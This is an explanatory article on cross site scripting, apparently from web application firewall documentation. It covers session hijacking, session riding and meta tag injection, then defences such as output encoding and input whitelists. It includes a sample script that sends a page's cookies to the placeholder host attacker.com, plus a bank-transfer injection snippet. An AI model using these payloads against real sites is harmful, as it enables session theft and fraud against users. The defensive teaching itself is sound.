Cross Site Scripting
An especially simple method of manipulating or intercepting a session ID is cross site scripting (refer also to Authentication and Session Handling). Even though we’ve been familiar with cross site scripting attacks for some time now, they’re often not taken very seriously today. A reason for this could be that you can only cause indirect damage using this method and the damage is primarily on the user side and not on the web application operator side. However, cross site scripting attacks are used as a simple “entry point” for more serious manipulation attacks.
Problem
Cross site scripting – often abbreviated to XSS – is a form of attack whereby the website itself isn’t the prime point of attack, it’s the browser of a legitimate user, which is attacked. An attacker attempts to cause the browser to execute specific actions under the name of the legitimate user.
Usually, JavaScript or HTML code is used directly, which is then smuggled into the HTML site. An attacker achieves this by accommodating the JavaScript or HTML code in the input forms of a website which is then displayed to other users at a later point. The standard examples of this are, of course, web forums and web mail. These have both been created so that users can see the entries of other users.
In order for the attack to function, the web application must present the unfiltered entries of the user to another user. This is unfortunately quite often the case. Attack channels are often even overlooked by trained application developers, e.g. the issuing of error messages.
So, what can an attacker do with the infiltrated JavaScript code? Upon first inspection, not very much. JavaScript runs on the client in a sand box, so it can therefore not directly access the victim’s computer. Nevertheless, the JavaScript code has full access to the control of the browser and can, for example, use this method to steal session cookies or execute any actions on the web application on behalf of the legitimate user.
Cross site scripting therefore frequently serves as an initial stage of a session hijacking or session riding attack. If the web application is a web forum, this isn’t all that critical, but if it concerns an online banking application or an online business, like eBay, then a lot of damage can be caused in the name of an outside user.
The following highlights the typical attack possibilities in detail:
Direct code injection
With this, the inserted JavaScript code directly triggers a visible action for the user. E.g. this method can be used to change the visible function of the website by, for example, installing popup windows with advertising. Or the user is guided by HTTP redirect or a popup window to a phishing website. In this case this would be difficult for a normal user to detect. He has, after all, entered the correct URL and has been referred – by what appears to be a trustworthy site – to a new website.
Session hijacking
The classic case of cross site scripting is most definitely its use with reference to a session hijacking attack. In doing so, the session ID of the user (which is usually stored in a cookie) is transferred to the web server of the attacker. For the time this session ID is valid, the attacker can then act automatically on the web server in the name of the victim. This can be achieved with a short piece of infiltrated JavaScript code:
<script> window.open("http://attacker.com/?cookie="+document.cookies) </script>
This code passes all the cookies of the current site to the http://attacker.com website.
Session riding
Session riding tries to execute commands in a legitimate session of a user. This is quite simple by means of cross site scripting. Also here, in the simplest case, you merely need a
<script> windows,open("http://bankserver.com/moneytransfer?from_account...") </script>
to call any website without the user having to do anything at all.
Via the browser function that’s used by modern web applications, XMLHttpRequest(), any requests can be sent without the user being warned by a window briefly popping up. By contrast with simple links, also HTTP POST queries can be sent to the server, i.e. the completing and sending of forms can be simulated.
HTML meta tag injection
Users who want to avoid the attacks described above could disable the JavaScript in their browser. Apart from the fact that many websites today would no longer function, disabling JavaScript would only help in a restricted form.
Other HTML tags also enable cookies to be set. Virtually all the information that a web server would send in an HTTP header can also be accommodated in an HTML site. So, for example, the instruction
<meta http-equiv="Set-Cookie" content="Session-ID=1234">
sets a cookies with the name “Session ID”. In doing so, the HTML meta tag doesn’t even need to be set in the header of the HTML page. It actually suffices if it appears anywhere in the HTML code. By contrast with JavaScript, you can’t switch off the processing of meta tags in the conventional browsers.
Browser simulation
In principle, an infiltrated JavaScript code can manipulate the entire HTML tree. The concept, AJAX, which is much revered and increasingly used in the area of Web 2.0 doesn’t actually do anything else either. We’ve since seen the development of proof of concept solutions. These replicate an entire browser (including status bar, all the menus and also the SSL symbol for secured connections) in JavaScript. If these are fully developed, they will represent a new dimension of phishing attacks. A normal user then believes that he is using the “normal” browser and doesn’t even notice that he is entering his data in a remotely controlled JavaScript application.
Remedy measures
Now that we’ve discussed the various attack possibilities, let us address the defense.
The user
The users do relatively little to combat cross site scripting attacks. He could operate important web applications like online banking or purchasing from online shops, like eBay,
from a special dedicated account and here use a browser with disabled JavaScript. However, this is too much effort for most users and, as we’ve shown above, some types of attack, like session fixation, can function using cookies and hence without JavaScript.
The user must therefore trust in the competence of the web application developer and of the website operator.
The web application developer
The susceptibility of a web application to cross site scripting is always the problem of the web application developer. In the field of web application development there are two golden rules:
- Trust no entries!
- Quote every output!
The second rule must be applied in order to avoid cross site scripting. Every output of data that originates from an external source – whether it’s a user input or data that has reached the system in some other form – must be treated separately when output in HTML. All the special characters must be replaced by their HTML encoding so they will no longer be interpreted actively as script code or as HTML code. As it isn’t always clear what is and what isn’t a special character, it’s recommended to code all the characters with the exception of letters and figures.
The majority of web application frameworks offer the possibility of coding output accordingly. In PHP these are, for example, the functions htmlentities() and htmlspecialchars(). An output in PHP should therefore always be specified in the following form:
$data = fetch_data_from_database($query); $quoted_data = htmlentities($data); echo $quoted_data;
It only becomes problematic if, as in a web forum, the user should be capable of using specific HTML features like bold or underlined text. The web application developer is on his own with this one and, for each input and output, must parse the data in accordance with the respective function.
The website operator
The server administrator can also only check the input on web applications and try to prevent the infiltration of JavaScript. Unfortunately, this isn’t such an easy task; it isn’t a matter of just naively filtering according to <script, as JavaScript code can be embedded in many ways. It’s much more worthwhile to filter all < and % characters in all the input fields. This does at least hinder cross site scripting.
If there’s the option of specifying a whitelist for the input fields, then this should of course be used. vWAF provides support here (see Whitelist Handler).